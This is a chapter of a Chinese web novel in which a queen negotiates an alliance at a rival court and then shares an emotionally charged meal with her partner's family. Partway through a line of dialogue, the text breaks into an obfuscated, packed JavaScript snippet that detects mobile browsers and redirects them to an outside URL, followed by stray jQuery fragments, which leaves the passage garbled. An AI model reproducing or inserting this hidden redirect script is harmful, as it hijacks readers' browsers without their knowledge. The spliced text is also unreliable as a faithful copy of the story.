160. 驼蹄

作品:《弈者

    “别生气嘛,”他眼中没半点愧疚,更多的是戏谑和淡漠的死亡感,慢悠悠道,“父王迟早会老,我们兄弟二人总要有一个继位吧。而且当初骗你的事你忘了吗?这百里家的人惯会骗人,许王还是谨慎些好,可没哪个人能像本王这么为你着想了。”


    夏轻染盯着他的眼,心中猜疑,她算是见识他多面的人,不知道哪面才是真正的他。行为上出挑,但也不算真正的大错,似乎总在毁灭的最后关头又回头一把,然后又再次冲向毁灭。


    他的目的是什么,从他的话中他很介意骗人。当初整个熙国连同她骗了百里弘深,这样的事是不是当初在他身上同样发生过,因此受到伤害的人又是谁?那个叫“可儿”的女子吗?


    “多谢南王的好意了,”她收回思绪,淡淡道,“不过至于谁骗谁南王就不必操心,螳螂捕蝉,黄雀在后,谁是螳螂谁是黄雀还不一定呢。”


    她坐正身体,阿璃放下车帘,驾着车走了。百里弘深不安地看着她,欲言又止,夏轻染问:“你担心什么?”


    “我没骗过你。”


    她一愣,根本没想过这个问题。两个人关系再亲近总会有一些事情不想告诉对方,她有很多事没告诉过他,自然也不会要求对方全盘托出。


    “以后也不会。”紧接着又砸下一句。


    她轻轻一笑:“我相信。”


    百里弘景见车驾走远后冷笑一声,反手在自己受伤的背上狠狠地抓,血像溪流一样涌了出来,糊得五指血红。


    他望着血红的五指“哎呀”地惊呼一声,然后朝纪皱说:“这伤怕是要养段时间了。”纪皱拧眉沉默,对他的疯习以为常,放下车帘,默默地赶车。


    他们仍然在拱星殿会面,这次气氛要缓和很多,就合纵一事夏轻染提出一个条件——熙国继位者必须是百里弘深。


    之前虽没明说,但熙国肯定也想到了,如果是他人,合纵就没意义了,只有百里弘深继位,两国才真正合二为一,吞并雍国和虞国后,实现真正的大一统。


    熙王没说什么,但其他人也提出疑议——大一统后谁是主导者。换言之夏轻染以什么位置居于朝堂。


    按百年前的胤朝乃是帝后分管前朝和后宫,可夏轻染不像是能居于后宫的人,熙国人也怕给她做嫁衣。


    百里弘深拍案:“羊肉没烤成就先商量着谁吃腿谁吃头,合纵乃是为了对付强敌,统一也是为了天下百姓。若真要来计较谁来统治,不如不合纵,几国乱斗,全凭本事,谁打赢了就谁统治。如果现在就有二心,到时冲锋在前,自己人还要来算计保留,真不怕被世人唾弃。”


    众人朝那个提出疑议的官员看过去,他心虚地垂下头。


    言铮为人烈性一点,当下也赞同百里弘深的话,屈纠也跟了,其他人对望一眼也都表示认同,最后二相也点了头。


    熙王咳一声才道:“后面的事难以预料,诸卿当齐心协力共面难关,虞国自张巡回去发生了翻天覆地的变化,再也不是以前被世家牵制的朝堂。新王又有魄力,他们未必不想东扩。雍国更不用说了,虽走了两位大将,但他的兵力并没有减多少,并且还有褚、王、裴三位在,结果如何谁也不知。”


    夏轻染:“孤来此是给大家一条生路,至于以后如何是孤跟北王的事,那些顾虑未必想得太早了。一国臣子和一朝臣子孰轻孰重诸位应当清楚,有些话不必再说,同样的……”


    她寒目扫了一圈,“有些事也不必去做。”


    意思就是你们摆正自己位置,不利的话不用说,背后的小动作也不要搞,即使后面统一了也是我们两个人的事,还轮不到你们来讨论。


    殿里因这一茬气氛有些紧张,有位官员出来调和,话题一岔开众人又回到议事上,慢慢地又恢复一开始的气氛。期间有太监宫女上茶上点心,一直议到申时初刻才完。


    众人陆续出殿,等到只剩下百里弘深和夏轻染以及熙王时,熙王对百里弘深说:“落苏一直在侍疾,你去看过没有?”


    他顿足,出狱后派人去传了消息,还没去看过,眸中覆上一层愧疚,道:“等下就去。”


    “嗯。你怪父王吗?”他沉沉地望着百里弘深。


    他微怔,想了想才说:“如果指关我杀我,儿臣没有任何话可说,但是当初的欺骗儿臣确实怨过父王。”


    “怨过父王,”熙王咀嚼这句话,“呵,真好,能有怨恨的人总比不知道怨谁强。欺骗一两个人算什么,欺骗整个天下那才叫欺骗。”


    百里弘深:“欺骗天下?”


    熙王与他视线刚一相交立马低头翻开手边的一本折子,边看边说:“去吧。”


    夏轻染听得云里雾里,总觉得他这话意有所指。她父王算不算欺骗天下,这五国当中又还有多少秘密?


    两人出了殿才走出一段路就遇到徐夫人身边的女辛,她朝二人行礼,说是徐夫人请他二人去韶英宫坐坐。


    百里落苏老早就在门口等他们,见二人进来连忙跑过去欢快地说:“母亲得知王兄进宫了,就让女辛盯着,母亲好些了,正等着你们呢。”


    这是夏轻染第二次见徐夫人,姣好的面容染着不太健康的苍白,眼尾的细纹也因病态显现出来,憔悴的眼神,病弱的神态与当初那份咄咄逼人简直就是两个人。


    或许百里落苏说的对,她母亲是个温柔的人,只有在威胁到子女才会变得那么强势凌人。后宫的女人纵有手段,也是在丈夫和子女之间取舍,就像她的母后,因夏氏背负的一个可笑的秘密眼睁睁地看着儿子死,再心甘情愿地陪着丈夫死。倘若她母后能狠心一点,她会不会为了儿子反抗呢?


    “坐吧。”徐夫人招呼二人。


    百里弘深朝她行礼,夏轻染只是点了点头,并不是她介意之前的事,而是她的身份摆在那里。


    “夫人好些了吗?孩儿惭愧,不但没照顾夫人,还让夫人跟着担心。”


    徐夫人抬头在他身上打量一圈,有些红眼,哽咽道:“瘦了也黑了,你受苦了。”


    “孩儿不苦。”


    她握拳抵嘴,将那份酸涩压下,笑道:“快别站着了,让许王站着于礼也不合。”


    百里弘深拉着夏轻染在她对面坐下,百里落苏在徐夫人旁边坐下,一脸抱怨:“我说王兄很好,母亲还不相信,偏要亲眼看看才放心。”


    “问你两句你就烦了,”徐夫人嗔她,“人虽在宫里,心早就飞了。你也不小了,再不收收性子以后有谁看得上。”


    她双眼微瞠,反驳道:“本公主还稀罕他们看上,我又多了一个朋友,有的是人和我玩,才不需要这些人呢。”


    “你又交了谁?”


    “才不告诉你,”百里落苏摇头摆脑洋洋得意


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17050742|194225||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,“王兄他们在这呢,母亲不是想见他们嘛,干嘛逮着我问。”


    徐夫人恍悟,不好意思地对夏轻染说:“许王见谅,一时被这丫头牵着走。”夏轻染没说什么,摇了摇头。


    百里弘深问了她病情和吃药琐事,有些是徐夫人答,有些是百里落苏答,夏轻染在一旁陪着,没怎么插嘴。


    谈了一会儿后女辛带着人进来掌灯,这宫庭深深,才酉时初就点起了灯。灯点好后她又到徐夫人身边说晚膳快好了,是否开饭。


    徐夫人也想和儿女吃顿饭便让她尽快开饭,没过多久宫女们鱼贯而入端着精致可口的饭菜一一摆好。几人起身到餐桌前就坐。


    女辛做事细心,除了徐夫人这个病人备了几样清淡养身体的药膳外,给兄妹俩各自备了各自喜欢的菜。夏轻染这个外人她不知道喜好,于是将夏国和许国的菜系各备了两样。


    夏轻染看到时愣了一下,筷子顿在那里不知怎么夹,等了一会儿才伸向夏国的菜系,夹了一小口放进嘴里慢慢咀嚼。


    百里弘深见状眼神诲暗,一个人下意识的行为才是内心最真实的想法,尽管她说夏国的事过去了,可她现在的举动在他看来还是没有放下。不禁又让他想起当初灭夏的事,心里有些担心她见物思人,从而用冷漠筑起高墙。


    徐夫人盯了一眼女辛,她低了头,这才明白自己好心办了坏事。百里落苏还在状况外,笑嘻嘻地给百里弘深舀了一勺驼蹄羹,对夏轻染说:“这是王兄小时候最喜欢吃的东西,这个可不好找,母亲为了让王兄偶尔吃上一顿,把宫里其他支项都减了就为了买这个。不过自王兄十一年前去打战回来后就再也没吃过,这次可要多吃点。轻染,你想不想尝一尝?”


    夏轻染一怔,她对这个东西可有可无,其实她对任何吃食都不是很看重,自她跟师父上山后没吃过夏国菜,刚刚就想尝一尝,是不是十余年前的味道。


    但,不是。


    哪怕做得再像都不是了,更不是她母后亲自做的那个味道。百里弘深见她沉默,正想开口她却接过百里落苏手中的勺子亲自舀了一勺,说:“孤尝尝看。”


    几人同时松了一口气,百里落苏也舀了一勺,眯着眼一脸享受地放进嘴里,轻轻一抿,满足道:“又鲜又香,果真是好东西。”


    夏轻染也尝了口,点头道:“是很鲜美,不过教导孤的人常说要克制口腹之欲,所以孤对食物没太多贪念。”


    她特意没提师父两个字,见百里弘深没动筷又亲自舀了一勺放到他碗里,温声说:“既然是你喜欢的那就多吃一点,别辜负了徐夫人的心意。”


    所有人看向他,他怔怔地看着夏轻染,视线没动,抬手却把她舀的那勺羹放进嘴里抿化,然后说:“好吃。”


    夏轻染对着他淡笑一下,转头开始吃自己碗里的东西。


    “谢谢夫人。”见她专心吃东西,他才转过头对徐夫人道谢。


    “谢什么,快多吃点。”徐夫人一手端着羹一手用勺不停地舀,直到整碗羹都到了百里弘深碗里才作罢。


    刚刚几人间的小心思似乎已经消弥,几人都在专心吃饭,百里弘深也低下头专心吃起来,连他都会因她一些小举动想到曾经灭夏的事,作为最直接的受害人,看到故国的东西怎能不想起亲人?


    这些他无法再还给她,但他可以在余生里弥补她。